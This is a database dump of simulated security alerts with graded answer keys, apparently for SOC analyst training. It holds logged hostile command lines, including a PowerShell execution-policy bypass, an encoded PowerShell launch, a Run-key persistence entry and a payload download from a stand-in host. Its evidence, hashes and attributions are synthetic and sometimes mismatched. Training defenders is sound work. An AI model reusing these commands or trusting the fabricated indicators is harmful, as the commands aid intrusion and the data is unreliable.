(397, 'Execution of Malicious Script', 'high', 'Endpoint Detection and Response (EDR)', 'An advanced malicious script execution was detected on the endpoint, aiming to establish a foothold by deploying the Vcrodat malware. The script was initially downloaded via a phishing link.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:08Z\",\"event_type\":\"execution\",\"host\":{\"hostname\":\"compromised-endpoint\",\"ip\":\"192.168.1.105\"},\"user\":\"jdoe\",\"process\":{\"name\":\"powershell.exe\",\"pid\":4567,\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.ps1\"},\"file\":{\"path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.ps1\",\"hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\"},\"network\":{\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":80},\"malware\":{\"name\":\"Vcrodat\",\"signature_version\":\"1.2.3\",\"hash\":\"6a2da3a46e0f4e8b8a7d4b2a2c8e7a5f\"}}', '2026-01-04 02:15:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malware distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in previous malware incidents.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"6a2da3a46e0f4e8b8a7d4b2a2c8e7a5f\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches the Vcrodat malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename typically used in phishing attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Employee account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(398, 'Vcrodat Malware Persistence Mechanism', 'high', 'System Logs', 'The Vcrodat malware has been observed manipulating registry keys for persistence. This is a known tactic of the Whitefly group to ensure continuous access to compromised systems. The malware modifies the registry key to execute a malicious payload upon system startup.', 'Persistence', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:21Z\",\"source_ip\":\"103.245.222.133\",\"destination_ip\":\"192.168.1.15\",\"username\":\"jdoe\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"registry_value_name\":\"MaliciousApp\",\"registry_value_data\":\"C:\\\\Windows\\\\System32\\\\ncsvc.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"process_id\":4824,\"process_name\":\"ncsvc.exe\"}', '2026-01-04 02:15:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"103.245.222.133\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with Vcrodat malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ncsvc.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Malicious executable used for persistence.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User\'s account may be compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.001Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:21Z\\\",\\\"source_ip\\\":\\\"103.245.222.133\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value_name\\\":\\\"MaliciousApp\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ncsvc.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"process_id\\\":4824,\\\"process_name\\\":\\\"ncsvc.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.001Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:21Z\\\",\\\"source_ip\\\":\\\"103.245.222.133\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value_name\\\":\\\"MaliciousApp\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ncsvc.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"process_id\\\":4824,\\\"process_name\\\":\\\"ncsvc.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.001Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:21Z\\\",\\\"source_ip\\\":\\\"103.245.222.133\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value_name\\\":\\\"MaliciousApp\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ncsvc.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"process_id\\\":4824,\\\"process_name\\\":\\\"ncsvc.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.001Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:21Z\\\",\\\"source_ip\\\":\\\"103.245.222.133\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value_name\\\":\\\"MaliciousApp\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ncsvc.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"process_id\\\":4824,\\\"process_name\\\":\\\"ncsvc.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.001Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:21Z\\\",\\\"source_ip\\\":\\\"103.245.222.133\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value_name\\\":\\\"MaliciousApp\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ncsvc.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"process_id\\\":4824,\\\"process_name\\\":\\\"ncsvc.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(399, 'Compromised Open-Source Tool Identified', 'high', 'Open-Source Intelligence (OSINT)', 'An open-source tool frequently used by developers has been modified to include malicious code. The tool is leveraging legitimate traffic patterns to avoid detection by security systems. The malicious code attempts to establish a connection with a known malicious IP and downloads additional payloads.', 'Defense Evasion', 'T1562.001 - Impair Defenses: Disable or Modify Tools', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:25:36Z\",\"event_id\":\"EVT-1004\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"tool_name\":\"OpenSourceDevTool\",\"malicious_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"file_path\":\"/usr/local/bin/OpenSourceDevTool\",\"action\":\"download\",\"payload_url\":\"http://malicious.example.com/payload\",\"status\":\"success\"}', '2026-01-04 02:15:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware signature\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"/usr/local/bin/OpenSourceDevTool\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"suspicious\",\"details\":\"Modified version of a known open-source tool\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious.example.com/payload\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"URL hosting malicious payload\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.002Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:36Z\\\",\\\"event_id\\\":\\\"EVT-1004\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"tool_name\\\":\\\"OpenSourceDevTool\\\",\\\"malicious_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_path\\\":\\\"/usr/local/bin/OpenSourceDevTool\\\",\\\"action\\\":\\\"download\\\",\\\"payload_url\\\":\\\"http://malicious.example.com/payload\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.002Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:36Z\\\",\\\"event_id\\\":\\\"EVT-1004\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"tool_name\\\":\\\"OpenSourceDevTool\\\",\\\"malicious_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_path\\\":\\\"/usr/local/bin/OpenSourceDevTool\\\",\\\"action\\\":\\\"download\\\",\\\"payload_url\\\":\\\"http://malicious.example.com/payload\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.002Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:36Z\\\",\\\"event_id\\\":\\\"EVT-1004\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"tool_name\\\":\\\"OpenSourceDevTool\\\",\\\"malicious_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_path\\\":\\\"/usr/local/bin/OpenSourceDevTool\\\",\\\"action\\\":\\\"download\\\",\\\"payload_url\\\":\\\"http://malicious.example.com/payload\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.002Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:36Z\\\",\\\"event_id\\\":\\\"EVT-1004\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"tool_name\\\":\\\"OpenSourceDevTool\\\",\\\"malicious_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_path\\\":\\\"/usr/local/bin/OpenSourceDevTool\\\",\\\"action\\\":\\\"download\\\",\\\"payload_url\\\":\\\"http://malicious.example.com/payload\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.002Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:36Z\\\",\\\"event_id\\\":\\\"EVT-1004\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"tool_name\\\":\\\"OpenSourceDevTool\\\",\\\"malicious_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"file_path\\\":\\\"/usr/local/bin/OpenSourceDevTool\\\",\\\"action\\\":\\\"download\\\",\\\"payload_url\\\":\\\"http://malicious.example.com/payload\\\",\\\"status\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(400, 'Unauthorized Credentials Accessed', 'high', 'Security Information and Event Management (SIEM)', 'Compromised credentials were used by the attacker to perform lateral movement within the network. The attacker, associated with the Whitefly group, utilized stolen credentials to access multiple systems, potentially exfiltrating sensitive data.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_type\":\"authentication\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"username\":\"jdoe_admin\",\"action\":\"login_success\",\"details\":{\"method\":\"RDP\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"whitefly_tool.exe\"},\"network\":{\"src_port\":3389,\"dest_port\":3389}}', '2026-01-04 02:15:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Whitefly APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within corporate network.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"Admin account used in unauthorized manner.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a tool used by Whitefly for lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"whitefly_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"File used in conjunction with Whitefly\'s attack strategies.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.004Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"authentication\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"action\\\":\\\"login_success\\\",\\\"details\\\":{\\\"method\\\":\\\"RDP\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"whitefly_tool.exe\\\"},\\\"network\\\":{\\\"src_port\\\":3389,\\\"dest_port\\\":3389}}\"},{\"timestamp\":\"2026-02-01T20:31:19.004Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"authentication\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"action\\\":\\\"login_success\\\",\\\"details\\\":{\\\"method\\\":\\\"RDP\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"whitefly_tool.exe\\\"},\\\"network\\\":{\\\"src_port\\\":3389,\\\"dest_port\\\":3389}}\"},{\"timestamp\":\"2026-02-01T20:30:19.004Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"authentication\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"action\\\":\\\"login_success\\\",\\\"details\\\":{\\\"method\\\":\\\"RDP\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"whitefly_tool.exe\\\"},\\\"network\\\":{\\\"src_port\\\":3389,\\\"dest_port\\\":3389}}\"},{\"timestamp\":\"2026-02-01T20:29:19.004Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"authentication\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"action\\\":\\\"login_success\\\",\\\"details\\\":{\\\"method\\\":\\\"RDP\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"whitefly_tool.exe\\\"},\\\"network\\\":{\\\"src_port\\\":3389,\\\"dest_port\\\":3389}}\"},{\"timestamp\":\"2026-02-01T20:28:19.004Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"authentication\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"action\\\":\\\"login_success\\\",\\\"details\\\":{\\\"method\\\":\\\"RDP\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"whitefly_tool.exe\\\"},\\\"network\\\":{\\\"src_port\\\":3389,\\\"dest_port\\\":3389}}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(401, 'Unusual Data Access Patterns Detected', 'high', 'Data Loss Prevention (DLP)', 'Sensitive patient data and proprietary information from materials science research were accessed in a manner indicative of preparation for data exfiltration. The activity was detected originating from an internal network, accessing multiple sensitive files in quick succession, and communicating to an external IP address known for malicious activities.', 'Collection', 'T1119', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"dlp-collection-56789\",\"source_ip\":\"10.1.1.5\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"accessed_files\":[\"/research/patient_data/sensitive_data.xlsx\",\"/research/materials_science/proprietary_formula.docx\"],\"file_hashes\":[\"d41d8cd98f00b204e9800998ecf8427e\",\"5eb63bbbe01eeed093cb22bb8f5acdc3\"],\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"alert_reason\":\"Multiple sensitive files accessed and malware hash detected.\"}', '2026-01-04 02:15:53', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"internal\",\"details\":\"Employee of the company.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with data exfiltration malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.005Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-collection-56789\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"accessed_files\\\":[\\\"/research/patient_data/sensitive_data.xlsx\\\",\\\"/research/materials_science/proprietary_formula.docx\\\"],\\\"file_hashes\\\":[\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"5eb63bbbe01eeed093cb22bb8f5acdc3\\\"],\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"alert_reason\\\":\\\"Multiple sensitive files accessed and malware hash detected.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.005Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-collection-56789\\\",\\\"source_ip\\\":\\\"10.1.1.5\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"accessed_files\\\":[\\\"/research/patient_data/sensitive_data.xlsx\\\",\\\"/research/materials_science/proprietary_formula.docx\\\"],\\\"file_hashes\\\":[\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"5eb63bbbe01eeed093cb22bb8f5acdc3\\\"],\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"alert_reason\\\":\\\"Multiple sensitive files accessed and malware hash 